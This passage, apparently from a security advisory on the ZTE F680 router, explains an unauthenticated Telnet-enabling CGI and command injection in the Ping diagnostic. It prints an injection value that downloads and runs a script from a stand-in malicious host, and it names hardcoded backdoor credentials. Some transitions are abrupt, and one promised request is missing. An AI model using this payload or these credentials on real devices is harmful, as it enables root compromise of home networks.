Because the router fails to check if the user has an active login session, the CGI script executes the command, enabling the Telnet daemon with hardcoded or default credentials. The Flaw: The diagnostic "Ping" tool on the router’s administration panel ( Advanced -> Diagnostics -> Ping ) takes a user-supplied IP address or hostname. Input sanitization is absent. Characters like ; , | , & , or $() are passed directly to the underlying Linux system() call.

An attacker on the same Local Area Network (LAN) – or worse, a malicious JavaScript on a website the user visits (CSRF) – could send a crafted HTTP request like this:

The attacker inputs a value such as: 8.8.8.8; wget http://malicious.server/payload.sh -O /tmp/run; sh /tmp/run

This results in Remote Code Execution (RCE) with root privileges, as the web server runs with high system privileges. While not a "software bug" per se, many ISPs never change the manufacturer default passwords. However, the ZTE F680 has a known hidden backdoor: the user account with password Zte521 (or variations like root / Zte521@hn ). These accounts bypass the standard login lockout policies, making brute-forcing trivial.